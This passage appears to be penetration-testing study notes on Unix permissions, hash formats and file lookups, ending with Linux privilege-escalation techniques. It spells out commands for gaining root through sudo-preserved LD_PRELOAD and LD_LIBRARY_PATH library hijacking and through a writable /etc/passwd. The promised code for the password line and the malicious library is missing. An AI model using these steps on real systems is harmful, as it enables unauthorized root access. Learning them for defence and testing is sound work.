Like absolute permissions, symbolic permissions are divided into user (u), group (g), and others (o). Unlike absolute permissions, not all of these permission sets need to be specified. Sets are separated by commas, and identical sets can be combined (e.g., ug).
This specifier is then followed by an operator that specifies whether the following permissions should be granted (+), removed (-), or set exactly (=). (Note that when using “find” only = makes sense.)
UNIX permission representation
*NIX permissions are represented as one or more of the following:
Permission
Symbolic
Numeric
Read
r
4
Write
w
2
Execute
x
1
SUID
s/S
4
SGID
s/S
2
Sticky Bit
t
1
The SUID/SGID bits are applied to the user or group (respectively) when set symbolically; the sticky bit is applied to the “other” permission set. When set numerically, all three of these values are applied to the “prefix” digit.
Symbolically, the SUID/SGID bits can be represented as either s or S. The different is whether the user/group also has execute permissions (s), or lacks these permissions (S).
Execute as the file owner, rather than the user passing the command.
SGID
If set on a file, this operates similarly to SUID: The file is executed as if the user passing the command was in the group with the SGID bit set. (I honestly have rarely seen this used.)
If set on a directory, files created in the directory will have their group ownership set to the same group as the directory itself. (In my experience this is the more common use case.)
Sticky bit
Only applied to directories. A file in a directory with the sticky bit set can only be deleted by its owner (and root). For example, /tmp always has the sticky bit set.
Write permissions and directories
If a user has write access to a directory, then they can write to any file they have at least read access to (!!!).
UNIX-style passwords are of the form $format$rounds$salt$hash. Common format parameters:
1 — md5crypt (mostly older)
2, 2a, 2b, 2x, 2y — bcrypt (generally web apps)
6 — sha512crypt (most modern systems)
Both $rounds and $salt are optional (salts are never purely numeric, so it’s easy to tell these apart).
Bcrypt is designed to take approximately the same amount of time when hashed on a CPU vs. a GPU, which is one reason it’s considered more resistant to cracking.
NOTE
1 hex digit = 4 bits (2 hex digits per byte), which is why a 128-bit md5 hash is 32 characters long.
How to match files to packages in Debian-based operating systems
# List all installed packages#dpkg-query -l# List files in an installed package#dpkg-query -L $PACKAGE_NAME# List the package that owns a particular file#dpkg-query -S $FULL_PATH_TO_FILE
How to match files to packages in Red Hat-based operating systems
# List all installed packages#rpm -qa# List files in an installed package#rpm -ql $PACKAGE_NAME# List the package that owns a particular file#rpm -qf $FULL_PATH_TO_FILE
The -perm flag matches files and folders with a given permission. Both numeric and symbolic permissions are allowed.
Use the / or - prefix to match files with any of the specified permissions or at least the specified permissions. For example, -perm -644 will match any file where the current user has at least read + write access and any other user has at least read access (so, - requires the specified permissions, but is agnostic as to the presence/absence of additional permissions). Likewise, -perm /666 will match files where the current user has read + write access and/or the current group has read + write access and/or everyone has read + write access (so, / requires that at least one of the specified permissions groups matches exactly, but is agnostic to the state of any other group outside of that match).
The -Xmin and -Xtime flags match files accessed (a), had their contents modified (m), or had their inode changed (c) n minutes (-Xmin) or days (-Xtime) ago.
Executables can also have an SUID “capability” set in Linux, which is not the same as the SUID permission!
The getcap command displays a binary’s capabilities (if there are any), and can even be used to perform a search for such binaries using getcap -r $PATH 2> /dev/null.
If /etc/passwd has weak permissions, then passwords in it can be replaced (since Linux systems still use the password hashes in /etc/passwd preferentially to those in /etc/shadow). This means that we can just directly add root-equivalent users directly there (remember that the UID and primary GID can be duplicated!).
To generate a password acceptable for inclusion in /etc/passwd:
If LD_PRELOAD is preserved by sudo, then it’s possible to use a malicious dynamic library to gain root access — just run sudo LD_PRELOAD=/path/to/malicious.so program-runnable-with-nopasswd. Preserved environment variables are listed by “sudo -l”.
A simple malicious library (perhaps the simplest) that can exploit the LD_PRELOAD trick is:
Use ldd to see what libraries a program is already pulling in, and then name your malicious library after one of these. Then run sudo LD_LIBRARY_PATH=/path/to/malicious/library program-runnable-with-nopasswd to trick the program into loading your malicious library instead of the legitimate system library.
While the same code as LD_PRELOAD can be used as a starting point for an LD_LIBRARY_PATH exploit, things get trickier because some libraries are required by others, loaded at different times, or have functions (symbols) that are loaded but not used right away. So some amount of trial-and-error, both in the naming of the malicious library and in what functions are defined within it, may be required.
Not every UNIX-like system calls their library path LD_LIBRARY_PATH!